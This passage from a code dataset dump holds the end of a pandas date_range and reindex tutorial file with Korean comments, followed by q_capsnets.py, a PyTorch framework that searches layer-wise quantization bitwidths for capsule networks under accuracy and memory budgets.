elements between\n# #     ``start`` and ``end`` (closed on both sides).\n# #\n# #     To learn more about the frequency strings, please see `this link\n# #     <http://pandas.pydata.org/pandas-docs/stable/timeseries.html#offset-aliases>`__.\n# #\n# #     Examples\n# #     --------\n# #     **Specifying the values**\n# #\n# #     The next four examples generate the same `DatetimeIndex`, but vary\n# #     the combination of `start`, `end` and `periods`.\n# #\n# #     Specify `start` and `end`, with the default daily frequency.\n# #\n# #     >>> pd.date_range(start='1/1/2018', end='1/08/2018')\n# #     DatetimeIndex(['2018-01-01', '2018-01-02', '2018-01-03', '2018-01-04',\n# #                    '2018-01-05', '2018-01-06', '2018-01-07', '2018-01-08'],\n# #                   dtype='datetime64[ns]', freq='D')\n# #\n# #     Specify `start` and `periods`, the number of periods (days).\n# #\n# #     >>> pd.date_range(start='1/1/2018', periods=8)\n# #     DatetimeIndex(['2018-01-01', '2018-01-02', '2018-01-03', '2018-01-04',\n# #                    '2018-01-05', '2018-01-06', '2018-01-07', '2018-01-08'],\n# #                   dtype='datetime64[ns]', freq='D')\n# #\n# #     Specify `end` and `periods`, the number of periods (days).\n# #\n# #     >>> pd.date_range(end='1/1/2018', periods=8)\n# #     DatetimeIndex(['2017-12-25', '2017-12-26', '2017-12-27', '2017-12-28',\n# #                    '2017-12-29', '2017-12-30', '2017-12-31', '2018-01-01'],\n# #                   dtype='datetime64[ns]', freq='D')\n# #\n# #     Specify `start`, `end`, and `periods`; the frequency is generated\n# #     automatically (linearly spaced).\n# #\n# #     >>> pd.date_range(start='2018-04-24', end='2018-04-27', periods=3)\n# #     DatetimeIndex(['2018-04-24 00:00:00', '2018-04-25 12:00:00',\n# #                    '2018-04-27 00:00:00'], freq=None)\n# #\n# #     **Other Parameters**\n# #\n# #     Changed the `freq` (frequency) to ``'M'`` (month end frequency).\n# #\n# #     >>> pd.date_range(start='1/1/2018', periods=5, freq='M')\n# #     DatetimeIndex(['2018-01-31', '2018-02-28', '2018-03-31', '2018-04-30',\n# #                    '2018-05-31'],\n# #                   dtype='datetime64[ns]', freq='M')\n# #\n# #     Multiples are allowed\n# #\n# #     >>> pd.date_range(start='1/1/2018', periods=5, freq='3M')\n# #     DatetimeIndex(['2018-01-31', '2018-04-30', '2018-07-31', '2018-10-31',\n# #                    '2019-01-31'],\n# #                   dtype='datetime64[ns]', freq='3M')\n# #\n# #     `freq` can also be specified as an Offset object.\n# #\n# #     >>> pd.date_range(start='1/1/2018', periods=5, freq=pd.offsets.MonthEnd(3))\n# #     DatetimeIndex(['2018-01-31', '2018-04-30', '2018-07-31', '2018-10-31',\n# #                    '2019-01-31'],\n# #                   dtype='datetime64[ns]', freq='3M')\n# #\n# #     Specify `tz` to set the timezone.\n# #\n# #     >>> pd.date_range(start='1/1/2018', periods=5, tz='Asia/Tokyo')\n# #     DatetimeIndex(['2018-01-01 00:00:00+09:00', '2018-01-02 00:00:00+09:00',\n# #                    '2018-01-03 00:00:00+09:00', '2018-01-04 00:00:00+09:00',\n# #                    '2018-01-05 00:00:00+09:00'],\n# #                   dtype='datetime64[ns, Asia/Tokyo]', freq='D')\n# #\n# #     `closed` controls whether to include `start` and `end` that are on the\n# #     boundary. The default includes boundary points on either end.\n# #\n# #     >>> pd.date_range(start='2017-01-01', end='2017-01-04', closed=None)\n# #     DatetimeIndex(['2017-01-01', '2017-01-02', '2017-01-03', '2017-01-04'],\n# #                   dtype='datetime64[ns]', freq='D')\n# #\n# #     Use ``closed='left'`` to exclude `end` if it falls on the boundary.\n# #\n# #     >>> pd.date_range(start='2017-01-01', end='2017-01-04', closed='left')\n# #     DatetimeIndex(['2017-01-01', '2017-01-02', '2017-01-03'],\n# #                   dtype='datetime64[ns]', freq='D')\n# #\n# #     Use ``closed='right'`` to exclude `start` if it falls on the boundary.\n# #\n# #     >>> pd.date_range(start='2017-01-01', end='2017-01-04', closed='right')\n# #     DatetimeIndex(['2017-01-02', '2017-01-03', '2017-01-04'],\n# #                   dtype='datetime64[ns]', freq='D')\n#\n#\n# # print(pd.date_range(\"2018-9-10\",\"2019-9-30\",freq='MS'))          #http://pandas.pydata.org/pandas-docs/stable/genindex.html#D \uc5d0\uc11c \ucc3e\uc544\uc11c \ud655\uc778\n# # # DatetimeIndex(['2018-10-01', '2018-11-01', '2018-12-01', '2019-01-01',\n# # #                '2019-02-01', '2019-03-01', '2019-04-01', '2019-05-01',\n# # #                '2019-06-01', '2019-07-01', '2019-08-01', '2019-09-01'],\n# # #               dtype='datetime64[ns]', freq='MS')\n#\n#\n# date_idx = pd.date_range('09/10/2018',periods=10,freq='D')\n# print(date_idx)\n# # DatetimeIndex(['2018-09-10', '2018-09-11', '2018-09-12', '2018-09-13',\n# #                '2018-09-14', '2018-09-15', '2018-09-16', '2018-09-17',\n# #                '2018-09-18', '2018-09-19'],\n# #               dtype='datetime64[ns]', freq='D')\n# df_2 = df({\"c1\": [10,20,30,40,50,10,20,30,40,50]},\n#     index=date_idx)\n# print(df_2)\n# #             c1\n# # 2018-09-10  10\n# # 2018-09-11  20\n# # 2018-09-12  30\n# # 2018-09-13  40\n# # 2018-09-14  50\n# # 2018-09-15  10\n# # 2018-09-16  20\n# # 2018-09-17  30\n# # 2018-09-18  40\n# # 2018-09-19  50\n#\n# date_idx_2 = pd.date_range('09/5/2018',periods=20,freq='D')         #date_idx\ubcf4\ub2e4 \ub0a0\uc9dc\ub97c \ub354 \ub298\ub9bc\n# print(date_idx_2)\n# # DatetimeIndex(['2018-09-05', '2018-09-06', '2018-09-07', '2018-09-08',\n# #                '2018-09-09', '2018-09-10', '2018-09-11', '2018-09-12',\n# #                '2018-09-13', '2018-09-14', '2018-09-15', '2018-09-16',\n# #                '2018-09-17', '2018-09-18', '2018-09-19', '2018-09-20',\n# #                '2018-09-21', '2018-09-22', '2018-09-23', '2018-09-24'],\n# #               dtype='datetime64[ns]', freq='D')\n# # df_2 = df_2.reindex(date_idx_2)         #\ub0a0\uc9dc \ucd94\uac00\ub85c \uc124\uc815\uc774 \uc5c6\ub294 \ub0a0\uc9dc\ub294 NaN\n# # print(df_2)\n# # #               c1\n# # # 2018-09-05   NaN\n# # # 2018-09-06   NaN\n# # # 2018-09-07   NaN\n# # # 2018-09-08   NaN\n# # # 2018-09-09   NaN\n# # # 2018-09-10  10.0\n# # # 2018-09-11  20.0\n# # # 2018-09-12  30.0\n# # # 2018-09-13  40.0\n# # # 2018-09-14  50.0\n# # # 2018-09-15  10.0\n# # # 2018-09-16  20.0\n# # # 2018-09-17  30.0\n# # # 2018-09-18  40.0\n# # # 2018-09-19  50.0\n# # # 2018-09-20   NaN\n# # # 2018-09-21   NaN\n# # # 2018-09-22   NaN\n# # # 2018-09-23   NaN\n# # # 2018-09-24   NaN\n#\n# # df_2 = df_2.reindex(date_idx_2,method='ffill')                  #ffill : \ubc14\ub85c \uc55e\uc758 \ub370\uc774\ud130\ub97c \ubcf5\uc0ac\n# # print(df_2)\n# # #               c1\n# # # 2018-09-05   NaN\n# # # 2018-09-06   NaN\n# # # 2018-09-07   NaN\n# # # 2018-09-08   NaN\n# # # 2018-09-09   NaN\n# # # 2018-09-10  10.0\n# # # 2018-09-11  20.0\n# # # 2018-09-12  30.0\n# # # 2018-09-13  40.0\n# # # 2018-09-14  50.0\n# # # 2018-09-15  10.0\n# # # 2018-09-16  20.0\n# # # 2018-09-17  30.0\n# # # 2018-09-18  40.0\n# # # 2018-09-19  50.0\n# # # 2018-09-20  50.0\n# # # 2018-09-21  50.0\n# # # 2018-09-22  50.0\n# # # 2018-09-23  50.0\n# # # 2018-09-24  50.0\n#\n#\n# df_2 = df_2.reindex(date_idx_2,method='bfill')                  #bfill : \ubc14\ub85c \ub4a4\uc758 \ub370\uc774\ud130\ub97c \ubcf5\uc0ac\n# print(df_2)\n# #               c1\n# # 2018-09-05  10.0\n# # 2018-09-06  10.0\n# # 2018-09-07  10.0\n# # 2018-09-08  10.0\n# # 2018-09-09  10.0\n# # 2018-09-10  10.0\n# # 2018-09-11  20.0\n# # 2018-09-12  30.0\n# # 2018-09-13  40.0\n# # 2018-09-14  50.0\n# # 2018-09-15  10.0\n# # 2018-09-16  20.0\n# # 2018-09-17  30.0\n# # 2018-09-18  40.0\n# # 2018-09-19  50.0\n# # 2018-09-20   NaN\n# # 2018-09-21   NaN\n# # 2018-09-22   NaN\n# # 2018-09-23   NaN\n# # 2018-09-24   NaN\n#\n#\n#\n#\n#\n#\n#\n#\n#\n#\n#\n#\n#\n#\n#\n#\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "meta": {"hexsha": "abd04c132b16edcbf8d4a75e9726b985b974ac4d", "size": 16931, "ext": "py", "lang": "Python", "max_stars_repo_path": "16_2.py", "max_stars_repo_name": "yunjung-lee/class_python_numpy", "max_stars_repo_head_hexsha": "589817c8bbca85d70596e4097c0ece093b5353c3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "16_2.py", "max_issues_repo_name": "yunjung-lee/class_python_numpy", "max_issues_repo_head_hexsha": "589817c8bbca85d70596e4097c0ece093b5353c3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "16_2.py", "max_forks_repo_name": "yunjung-lee/class_python_numpy", "max_forks_repo_head_hexsha": "589817c8bbca85d70596e4097c0ece093b5353c3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.1330128205, "max_line_length": 141, "alphanum_fraction": 0.5023329986, "include": true, "reason": "import numpy", "num_tokens": 7417, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167793123159, "lm_q2_score": 0.1276526352779213, "lm_q1q2_score": 0.058850006786556996}}
{"text": "import torch\r\nimport copy\r\nimport sys\r\nimport numpy as np\r\nfrom utils import one_hot_encode, capsnet_testing_loss\r\nfrom torch.autograd import Variable\r\nfrom torch.backends import cudnn\r\nfrom quantization_methods import *\r\nfrom quantized_models import *\r\n\r\n\r\ndef quantized_test(model, num_classes, data_loader, quantization_function, quantization_bits,\r\n                   quantization_bits_routing):\r\n    \"\"\" Function to test the accuracy of the quantized models\r\n\r\n        Args:\r\n            model: pytorch model\r\n            num_classes: number ot classes of the dataset\r\n            data_loader: data loader of the test dataset\r\n            quantization_function: quantization function of the quantization method to use\r\n            quantization_bits: list, quantization bits for the activations\r\n            quantization_bits_routing: list, quantization bits for the dynamic routing\r\n        Returns:\r\n            accuracy_percentage: accuracy of the quantized model expressed in percentage \"\"\"\r\n    # Switch to evaluate mode\r\n    model.eval()\r\n\r\n    loss = 0\r\n    correct = 0\r\n\r\n    num_batches = len(data_loader)\r\n\r\n    for data, target in data_loader:\r\n        batch_size = data.size(0)\r\n        target_one_hot = one_hot_encode(target, length=num_classes)\r\n\r\n        if torch.cuda.device_count() > 0:  # if there are available GPUs, move data to the first visible\r\n            device = torch.device(\"cuda:0\")\r\n            data = data.to(device)\r\n            target = target.to(device)\r\n            target_one_hot = target_one_hot.to(device)\r\n\r\n        # Output predictions\r\n        output = model(data, quantization_function, quantization_bits, quantization_bits_routing)\r\n\r\n        # Sum up batch loss\r\n        m_loss = \\\r\n            capsnet_testing_loss(output, target_one_hot)\r\n        loss += m_loss.data\r\n\r\n        # Count number of correct predictions\r\n        # Compute the norm of the vector capsules\r\n        v_length = torch.sqrt((output ** 2).sum(dim=2))\r\n        assert v_length.size() == torch.Size([batch_size, num_classes])\r\n\r\n        # Find the index of the longest vector\r\n        _, max_index = v_length.max(dim=1)\r\n        assert max_index.size() == torch.Size([batch_size])\r\n\r\n        # vector with 1 where the model makes a correct prediction, 0 where false\r\n        correct_pred = torch.eq(target.cpu(), max_index.data.cpu())\r\n        correct += correct_pred.sum()\r\n\r\n    # Log test accuracies\r\n    num_test_data = len(data_loader.dataset)\r\n    accuracy_percentage = float(correct) * 100.0 / float(num_test_data)\r\n\r\n    return accuracy_percentage\r\n\r\n\r\ndef qcapsnets(model, model_parameters, full_precision_filename, num_classes, data_loader, top_accuracy,\r\n              accuracy_tolerance, memory_budget, quantization_scheme):\r\n    \"\"\" Q-CapsNets framework - Quantization\r\n\r\n        Args:\r\n            model: string, name of the model\r\n            model_parameters: list, parameters to use for the instantiation of the model class\r\n            full_precision_filename: string, directory of the full-precision weights\r\n            num_classes: number of classes of the dataset\r\n            data_loader: data loader of the testing dataset\r\n            top_accuracy : maximum accuracy reached by the full_precision trained model (percentage)\r\n            accuracy_tolerance: tolerance of the quantized model accuracy with respect to the full precision accuracy.\r\n                                Provided in percentage\r\n            memory_budget: memory budget for the weights of the model. Provided in MB (MegaBytes)\r\n            quantization_scheme: quantization scheme to be used by the framework (string, e.g., \"truncation)\"\r\n        Returns:\r\n            void\r\n    \"\"\"\r\n    print(\"==> Q-CapsNets Framework\")\r\n    # instantiate the quantized model with the full-precision weights\r\n    model_quant_class = getattr(sys.modules[__name__], model)\r\n    model_quant_original = model_quant_class(*model_parameters)\r\n    model_quant_original.load_state_dict(torch.load(full_precision_filename))\r\n\r\n    # Move the model to GPU if available\r\n    if torch.cuda.device_count() > 0:\r\n        device = torch.device(\"cuda:0\")\r\n        model_quant_original.to(device)\r\n        cudnn.benchmark = True\r\n\r\n    # create the quantization functions\r\n    possible_functions = globals().copy()\r\n    possible_functions.update(locals())\r\n    quantization_function_activations = possible_functions.get(quantization_scheme)\r\n    if not quantization_function_activations:\r\n        raise NotImplementedError(\"Quantization function %s not implemented\" % quantization_scheme)\r\n    quantization_function_weights = possible_functions.get(quantization_scheme + \"_inplace\")\r\n    if not quantization_function_weights:\r\n        raise NotImplementedError(\"Quantization function %s not implemented (inplace version)\" % quantization_scheme)\r\n\r\n    # compute the accuracy reduction available for each step\r\n    minimum_accuracy = top_accuracy - accuracy_tolerance / 100 * top_accuracy\r\n    acc_reduction = top_accuracy - minimum_accuracy\r\n    step1_reduction = 5 / 100 * acc_reduction\r\n    step1_min_acc = top_accuracy - step1_reduction\r\n\r\n    print(\"Full-precision accuracy: \", top_accuracy, \"%\")\r\n    print(\"Minimum quantized accuracy: \", minimum_accuracy, \"%\")\r\n    print(\"Memory budget: \", memory_budget, \"MB\")\r\n    print(\"Quantization method: \", quantization_scheme)\r\n    print(\"\\n\")\r\n\r\n    # STEP 1: Layer-Uniform quantization of weights and activations\r\n    print(\"STEP 1\")\r\n\r\n    def step1_quantization_test(quantization_bits):\r\n        \"\"\" Function to test the model at STEP 1 of the algorithm\r\n\r\n            The function receives a single \"quantization_bits\" value N, and creates two lists [N, N, ..., N] and\r\n            [N, N, ..., N] for the activations and the dynamic routing, since at STEP 1 all the layers are quantized\r\n            uniformly. The weights of each layer are quantized with N bits too and then the accuracy of the model\r\n            is computed.\r\n\r\n            Args:\r\n                quantization_bits: single value used for quantizing all the weights and activations\r\n            Returns:\r\n                acc_temp: accuracy of the model quantized uniformly with quantization_bits bits\r\n        \"\"\"\r\n        quantized_model_temp = copy.deepcopy(model_quant_original)\r\n\r\n        step1_act_bits_f = []     # list with the quantization bits for the activations\r\n        step1_dr_bits_f = []      # list with the quantization bits for the dynamic routing\r\n        for c in quantized_model_temp.children():\r\n            step1_act_bits_f.append(quantization_bits)\r\n            if c.capsule_layer:\r\n                if c.dynamic_routing:\r\n                    step1_dr_bits_f.append(quantization_bits)\r\n            for p in c.parameters():\r\n                with torch.no_grad():\r\n                    quantization_function_weights(p, quantization_bits)      # Quantize the weights\r\n        # test with quantized weights and activations\r\n        acc_temp = quantized_test(quantized_model_temp, num_classes, data_loader,\r\n                                  quantization_function_activations, step1_act_bits_f, step1_dr_bits_f)\r\n        del quantized_model_temp\r\n        return acc_temp\r\n\r\n    # BINARY SEARCH of the bitwidth for step 1, starting from 32 bits\r\n    step1_bit_search = [32]\r\n    step1_acc_list = []      # list of accuracy at each step of the search algorithm\r\n    step1_acc = step1_quantization_test(32)\r\n    step1_acc_list.append(step1_acc)\r\n    if step1_acc > step1_min_acc:\r\n        step1_bit_search_sat = [True]    # True is the accuracy is higher than the minimum required\r\n        step1_bit_search.append(16)\r\n        while True:\r\n            step1_acc = step1_quantization_test(step1_bit_search[-1])\r\n            step1_acc_list.append(step1_acc)\r\n            if step1_acc > step1_min_acc:\r\n                step1_bit_search_sat.append(True)\r\n            else:\r\n                step1_bit_search_sat.append(False)\r\n            if (abs(step1_bit_search[-1] - step1_bit_search[-2])) == 1:\r\n                step1_bit_search_sat.reverse()\r\n                step1_bits = step1_bit_search[\r\n                    len(step1_bit_search_sat) - 1 - next(k for k, val in enumerate(step1_bit_search_sat) if val)]\r\n                step1_bit_search_sat.reverse()\r\n                step1_acc = step1_acc_list[\r\n                    len(step1_bit_search_sat) - 1 - next(k for k, val in enumerate(step1_bit_search_sat) if val)]\r\n                break\r\n            else:\r\n                if step1_acc > step1_min_acc:\r\n                    step1_bit_search.append(\r\n                        int(step1_bit_search[-1] - abs(step1_bit_search[-1] - step1_bit_search[-2]) / 2))\r\n                else:\r\n                    step1_bit_search.append(\r\n                        int(step1_bit_search[-1] + abs(step1_bit_search[-1] - step1_bit_search[-2]) / 2))\r\n    else:\r\n        step1_bits = 32\r\n        step1_acc = step1_acc_list[1]\r\n\r\n    # Create the lists of bits ofSTEP 1\r\n    step1_act_bits = []\r\n    step1_dr_bits = []\r\n    step1_weight_bits = []\r\n    for c in model_quant_original.children():\r\n        step1_act_bits.append(step1_bits)\r\n        step1_weight_bits.append(step1_bits)\r\n        if c.capsule_layer:\r\n            if c.dynamic_routing:\r\n                step1_dr_bits.append(step1_bits)\r\n\r\n    print(\"STEP 1 output: \")\r\n    print(\"\\t Weight bits: \\t\\t\", step1_weight_bits)\r\n    print(\"\\t Activation bits: \\t\\t\", step1_act_bits)\r\n    print(\"\\t Dynamic Routing bits: \\t\\t\", step1_dr_bits)\r\n    print(\"STEP 1 accuracy: \", step1_acc)\r\n    print(\"\\n\")\r\n\r\n    # STEP2 - satisfy memory requirement\r\n    # compute the number of weights and biases of each layer/block\r\n    print(\"STEP 2\")\r\n    number_of_weights_inlayers = []\r\n    for c in model_quant_original.children():\r\n        param_intra_layer = 0\r\n        for p in c.parameters():\r\n            param_intra_layer = param_intra_layer + p.numel()\r\n        number_of_weights_inlayers.append(param_intra_layer)\r\n    number_of_blocks = len(number_of_weights_inlayers)\r\n\r\n    memory_budget_bits = memory_budget * 8000000      # From MB to bits\r\n    minimum_mem_required = np.sum(number_of_weights_inlayers)\r\n\r\n    if memory_budget_bits < minimum_mem_required:\r\n        raise ValueError(\"The memory budget can not be satisfied, increase it to\",\r\n                         minimum_mem_required / 8000000, \" MB at least\")\r\n\r\n    # Compute the number of bits that satisfy the memory budget.\r\n    # First try with [N, N-1, N-2, N-3, N-4, N-4, ...].\r\n    # If it is not possible, try with [N, N-1, N-2, N-3, N-3, ...]\r\n    # and so on until [N, N, N, N, ...] (number of bits uniform across the layers)\r\n    decrease_amount = 5\r\n    while decrease_amount >= 0:\r\n        bit_decrease = []\r\n        if number_of_blocks <= decrease_amount:\r\n            i = 0\r\n            for r in range(0, number_of_blocks):\r\n                bit_decrease.append(i)\r\n                i = i - 1\r\n        else:\r\n            i = 0\r\n            for r in range(0, decrease_amount):\r\n                bit_decrease.append(i)\r\n                i = i - 1\r\n            for r in range(decrease_amount, number_of_blocks):\r\n                bit_decrease.append(i + 1)\r\n\r\n        bits_memory_sat = 33\r\n        while True:\r\n            # decrease N (bits_memory_sat) until the memory budget is satisfied.\r\n            bits_memory_sat = bits_memory_sat - 1\r\n            memory_occupied = np.sum(np.multiply(number_of_weights_inlayers, np.add(bits_memory_sat + 1, bit_decrease)))\r\n            # +1 because bits_memory_sat are the fractional part bits, but we need one for the integer part\r\n            if memory_occupied <= memory_budget_bits:\r\n                break\r\n\r\n        step2_weight_bits = list(np.add(bits_memory_sat, bit_decrease))\r\n        if step2_weight_bits[-1] >= 0:\r\n            break\r\n        else:\r\n            decrease_amount = decrease_amount - 1\r\n\r\n    # lists of bitwidths for activations and dynamic routing at STEP 1\r\n    step2_act_bits = copy.deepcopy(step1_act_bits)\r\n    step2_dr_bits = copy.deepcopy(step1_dr_bits)\r\n\r\n    # Quantizeed the weights\r\n    model_memory = copy.deepcopy(model_quant_original)\r\n    for i, c in enumerate(model_memory.children()):\r\n        for p in c.parameters():\r\n            with torch.no_grad():\r\n                quantization_function_weights(p, step2_weight_bits[i])\r\n    step2_acc = quantized_test(model_memory, num_classes, data_loader,\r\n                               quantization_function_activations, step2_act_bits, step2_dr_bits)\r\n\r\n    print(\"STEP 2 output: \")\r\n    print(\"\\t Weight bits: \\t\\t\", step2_weight_bits)\r\n    print(\"\\t Activation bits: \\t\\t\", step2_act_bits)\r\n    print(\"\\t Dynamic Routing bits: \\t\\t\", step2_dr_bits)\r\n    print(\"STEP 2 accuracy: \", step2_acc)\r\n    print(\"\\n\")\r\n\r\n    # IF the step 2 accuracy is higher that the minimum required accuracy --> BRANCH A\r\n    if step2_acc > minimum_accuracy:\r\n        # What is the accuracy that can still be consumed?\r\n        branchA_accuracy_budget = step2_acc - minimum_accuracy\r\n        step3A_min_acc = step2_acc - branchA_accuracy_budget * 55 / 100\r\n\r\n        # STEP 3A  - layer-wise quantization of activations\r\n        print(\"STEP 3A\")\r\n        # get the position of the layers that use dynamic routing bits\r\n        dynamic_routing_bits_bool = []\r\n        for c in model_memory.children():\r\n            if c.capsule_layer:\r\n                if c.dynamic_routing:\r\n                    dynamic_routing_bits_bool.append(True)\r\n            else:\r\n                dynamic_routing_bits_bool.append(False)\r\n        layers_dr_position = [pos for pos, val in enumerate(dynamic_routing_bits_bool) if val]\r\n\r\n        step3a_weight_bits = copy.deepcopy(step2_weight_bits)\r\n        step3a_act_bits = copy.deepcopy(step2_act_bits)\r\n        step3a_dr_bits = copy.deepcopy(step2_dr_bits)\r\n        for l in range(0, len(step3a_act_bits)):\r\n            while True:\r\n                step3a_acc = quantized_test(model_memory, num_classes, data_loader,\r\n                                            quantization_function_activations, step3a_act_bits, step3a_dr_bits)\r\n                if step3a_acc >= step3A_min_acc:\r\n                    step3a_act_bits[l:] = list(np.add(step3a_act_bits[l:], -1))\r\n                    for x in range(len(layers_dr_position)):\r\n                        step3a_dr_bits[x] = step3a_act_bits[layers_dr_position[x]]\r\n                else:\r\n                    step3a_act_bits[l:] = list(np.add(step3a_act_bits[l:], +1))\r\n                    for x in range(len(layers_dr_position)):\r\n                        step3a_dr_bits[x] = step3a_act_bits[layers_dr_position[x]]\r\n                    break\r\n\r\n        step3a_acc = quantized_test(model_memory, num_classes, data_loader,\r\n                                    quantization_function_activations, step3a_act_bits, step3a_dr_bits)\r\n\r\n        print(\"STEP 3A output: \")\r\n        print(\"\\t Weight bits: \\t\\t\", step3a_weight_bits)\r\n        print(\"\\t Activation bits: \\t\\t\", step3a_act_bits)\r\n        print(\"\\t Dynamic Routing bits: \\t\\t\", step3a_dr_bits)\r\n        print(\"STEP 3A accuracy: \", step3a_acc)\r\n        print(\"\\n\")\r\n\r\n        # STEP 4A  -  layer-wise quantization of dynamic routing\r\n        print(\"STEP 4A\")\r\n        step4a_weight_bits = copy.deepcopy(step2_weight_bits)\r\n        step4a_act_bits = copy.deepcopy(step3a_act_bits)\r\n        step4a_dr_bits = copy.deepcopy(step3a_dr_bits)\r\n\r\n        # need to variate only the bits of the layers in which the dynamic routing is actually performed\r\n        # (iterations > 1)\r\n        dynamic_routing_quantization = []\r\n        for c in model_memory.children():\r\n            if c.capsule_layer:\r\n                if c.dynamic_routing:\r\n                    if c.dynamic_routing_quantization:\r\n                        dynamic_routing_quantization.append(True)\r\n                    else:\r\n                        dynamic_routing_quantization.append(False)\r\n        dr_quantization_pos = [pos for pos, val in enumerate(dynamic_routing_quantization) if val]\r\n\r\n        # new set of bits only if dynamic routing is performed\r\n        dr_quantization_bits = [step4a_dr_bits[x] for x in dr_quantization_pos]\r\n        for l in range(0, len(dr_quantization_bits)):\r\n            while True:\r\n                step4a_acc = quantized_test(model_memory, num_classes, data_loader,\r\n                                            quantization_function_activations, step4a_act_bits, step4a_dr_bits)\r\n                if step4a_acc >= minimum_accuracy:\r\n                    dr_quantization_bits[l:] = list(np.add(dr_quantization_bits[l:], -1))\r\n                    # update the whole vector step4a_dr_bits\r\n                    for x in range(0, len(dr_quantization_bits)):\r\n                        step4a_dr_bits[dr_quantization_pos[x]] = dr_quantization_bits[x]\r\n                else:\r\n                    dr_quantization_bits[l:] = list(np.add(dr_quantization_bits[l:], +1))\r\n                    # update the whole vector step4a_dr_bits\r\n                    for x in range(0, len(dr_quantization_bits)):\r\n                        step4a_dr_bits[dr_quantization_pos[x]] = dr_quantization_bits[x]\r\n                    break\r\n\r\n        step4a_acc = quantized_test(model_memory, num_classes, data_loader,\r\n                                    quantization_function_activations, step4a_act_bits, step4a_dr_bits)\r\n\r\n        print(\"STEP 4A output: \")\r\n        print(\"\\t Weight bits: \\t\\t\", step4a_weight_bits)\r\n        print(\"\\t Activation bits: \\t\\t\", step4a_act_bits)\r\n        print(\"\\t Dynamic Routing bits: \\t\\t\", step4a_dr_bits)\r\n        print(\"STEP 4A accuracy: \", step4a_acc)\r\n        print(\"\\n\")\r\n\r\n        print(\"\\n\")\r\n        quantized_filename = full_precision_filename[:-3] + '_quantized_satisfied.pt'\r\n        torch.save(model_memory.state_dict(), quantized_filename)\r\n        print(\"Model-satisfied stored in \", quantized_filename)\r\n        print(\"\\t Weight bits: \\t\\t\", step4a_weight_bits)\r\n        print(\"\\t Activation bits: \\t\\t\", step4a_act_bits)\r\n        print(\"\\t Dynamic Routing bits: \\t\\t\", step4a_dr_bits)\r\n        print(\"Model-satisfied accuracy: \", step4a_acc)\r\n\r\n    else:\r\n        # BRANCH B - STEP 3B  - layer-wise quantization of the weights\r\n        print(\"STEP 3B\")\r\n        step3b_weight_bits = copy.deepcopy(step1_weight_bits)\r\n        step3b_act_bits = copy.deepcopy(step1_act_bits)\r\n        step3b_dr_bits = copy.deepcopy(step1_dr_bits)\r\n\r\n        model_accuracy = copy.deepcopy(model_quant_original)\r\n        for i, c in enumerate(model_accuracy.children()):\r\n            for p in c.parameters():\r\n                with torch.no_grad():\r\n                    quantization_function_weights(p, step3b_weight_bits[i])\r\n\r\n        for l in range(0, len(step3b_weight_bits)):\r\n            while True:\r\n                step3b_acc = quantized_test(model_accuracy, num_classes, data_loader,\r\n                                            quantization_function_activations, step3b_act_bits, step3b_dr_bits)\r\n                if step3b_acc >= minimum_accuracy:\r\n                    step3b_weight_bits[l:] = list(np.add(step3b_weight_bits[l:], -1))\r\n                    model_accuracy = copy.deepcopy(model_quant_original)\r\n                    for i, c in enumerate(model_accuracy.children()):\r\n                        for p in c.parameters():\r\n                            with torch.no_grad():\r\n                                quantization_function_weights(p, step3b_weight_bits[i])\r\n                else:\r\n                    step3b_weight_bits[l:] = list(np.add(step3b_weight_bits[l:], +1))\r\n                    model_accuracy = copy.deepcopy(model_quant_original)\r\n                    for i, c in enumerate(model_accuracy.children()):\r\n                        for p in c.parameters():\r\n                            with torch.no_grad():\r\n                                quantization_function_weights(p, step3b_weight_bits[i])\r\n                    break\r\n\r\n        step3b_acc = quantized_test(model_accuracy, num_classes, data_loader,\r\n                                    quantization_function_activations, step3b_act_bits, step3b_dr_bits)\r\n\r\n        print(\"STEP 3B output: \")\r\n        print(\"\\t Weight bits: \\t\\t\", step3b_weight_bits)\r\n        print(\"\\t Activation bits: \\t\\t\", step3b_act_bits)\r\n        print(\"\\t Dynamic Routing bits: \\t\\t\", step3b_dr_bits)\r\n        print(\"STEP 3B accuracy: \", step3b_acc)\r\n        print(\"\\n\")\r\n\r\n        print(\"\\n\")\r\n        quantized_filename = full_precision_filename[:-3] + '_quantized_memory.pt'\r\n        torch.save(model_memory.state_dict(), quantized_filename)\r\n        print(\"Model-memory stored in \", quantized_filename)\r\n        print(\"\\t Weight bits: \\t\\t\", step2_weight_bits)\r\n        print(\"\\t Activation bits: \\t\\t\", step2_act_bits)\r\n        print(\"\\t Dynamic Routing bits: \\t\\t\", step2_dr_bits)\r\n        print(\"Model_memory accuracy: \", step2_acc)\r\n        print(\"\\n\")\r\n        quantized_filename = full_precision_filename[:-3] + '_quantized_accuracy.pt'\r\n        torch.save(model_accuracy.state_dict(), quantized_filename)\r\n        print(\"Model-memory stored in \", quantized_filename)\r\n        print(\"\\t Weight bits: \\t\\t\", step3b_weight_bits)\r\n        print(\"\\t Activation bits: \\t\\t\", step3b_act_bits)\r\n        print(\"\\t Dynamic Routing bits: \\t\\t\", step3b_dr_bits)\r\n        print(\"Model_accuracy accuracy: \", step3b_acc)\r\n", "meta": {"hexsha": "24e1bb6d239804ac7c61da01c2443c21d4bbcee5", "size": 21306, "ext": "py", "lang": "Python", "max_stars_repo_path": "q_capsnets.py", "max_stars_repo_name": "beatricebussolino/Q-CapsNets", "max_stars_repo_head_hexsha": "093dcfe534dce9aaa056ca8c2b731935eec59822", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2020-07-22T08:55:02.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-07T14:43:09.000Z", "max_issues_repo_path": "q_capsnets.py", "max_issues_repo_name": "beatricebussolino/Q-CapsNets", "max_issues_repo_head_hexsha": 